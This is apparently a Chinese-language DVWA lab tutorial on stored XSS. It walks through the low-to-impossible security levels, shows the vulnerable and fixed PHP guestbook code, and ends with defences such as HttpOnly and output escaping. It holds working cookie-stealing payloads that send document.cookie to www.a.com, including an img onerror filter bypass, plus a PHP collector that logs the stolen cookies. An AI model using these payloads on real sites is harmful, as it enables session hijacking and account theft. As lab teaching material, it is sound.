DVWA 黑客攻防實戰(十一) 儲存型 XSS 攻擊 Stored Cross Site Scripting
上一篇文章會介紹了反射型 XSS 攻擊。本文主要是通過 dvwa 介紹儲存型 XSS 攻擊。儲存型 XSS 攻擊影響範圍極大。比如是微博、貼吧之類的,若有注入漏洞,再假如攻擊者能用上一篇文章類似的程式碼獲取使用者的 cookies,想想如果程式碼中再加入自動轉發功能,每個看過那條微博的使用者都會被偷 cookies 和自動轉發!像網路病毒一樣的傳播速度啊!恐怖如斯!
低階
功能很簡單。點選提交就會有相應的文字。 此時,Hacker 在裡面輸入 <script>alert(1)</script>
也就是有注入漏洞了。於是 Hacker 再輸入了 <script src="//www.a.com/test.js"></script>
//test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);
然後所有看到這條資訊的使用者的 cookies 就會被偷走了。 而低階的程式碼是這樣的,沒有做任何的防護
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
中級
中級程式碼,會意識到這個問題 所以會對 message 進行處理
- addslashes 每個引號前新增反斜槓(" -> \")
- strip_tags 去掉 HTML 的標籤 (Hello -> Hello)
- mysql_real_escape_string 函式,對
"
,'
,\r
等特殊符號轉義 - htmlspecialchars ,對 html 相關的字元轉義,防止瀏覽器將其用作 HTML 元素,比如
>
轉成>
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
然而百密一疏,name 欄位只有去掉 script 字串 和用mysql_real_escape_string
函式進行轉義
所有可以利用 name 欄位注入
Hacker 輸入在 Name 欄位輸入 前端那裡有個字元長度的限制。你可以用火狐直接將 maxlength 改大,或者用 brupSuite 的改就可以了。 所以這程式碼最後還是可以被注入的。
高階
高階程式碼 對 name 的驗證有所改變。
<?php
//...
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
//...
?>
如果看過上一篇文章,應該會了解。這樣的程式碼可以用 img 等元素繞過的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)">
要改下 www.a.com/index.php 因為原本只是記錄 cookies 到檔案中,不返回圖片的。這段注入程式碼執行後會不斷地發請求的。所以改成返回一張圖片就可以了。比如
<?php
$name = 'gakki.jpg';
$fp = fopen($name, 'rb');
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));
fpassthru($fp);
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>
結果如下
沉迷我老婆美色的時候,cookie 就被偷走了
不可能
不可能級別有
- anti-token 機制防 CSRF 攻擊
- 使用 db->prepare 預編譯,繫結引數的方式,防 SQL 攻擊
- name 和 message 引數通過
htmlspecialchars
等函式防禦
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
防禦 XSS 攻擊
下面是防禦 XSS 攻擊的措施
- 引數校驗,比如中高階的如果 name 引數後端也判斷了長度不能超過 10。 攻擊者注入的難度的增大很多了。比如百度網盤這個案例
- 後端可以使用 HttpOnly 的方式,之前的攻擊手段基本會用 document.cookies 就能獲取當前網頁的 cookie 了。 比如這樣
<?php
header("Set-Cookie: cookie1=test1");
header("Set-Cookie: cookie2=test2;httponly",false)
?>
<script>
alert(document.cookie);
</script>
只會把 cookie1=test1 彈窗。就算有漏洞也可以減少損失
- 輸出的檢查,比如 php 中 htmlspecialchars 函式。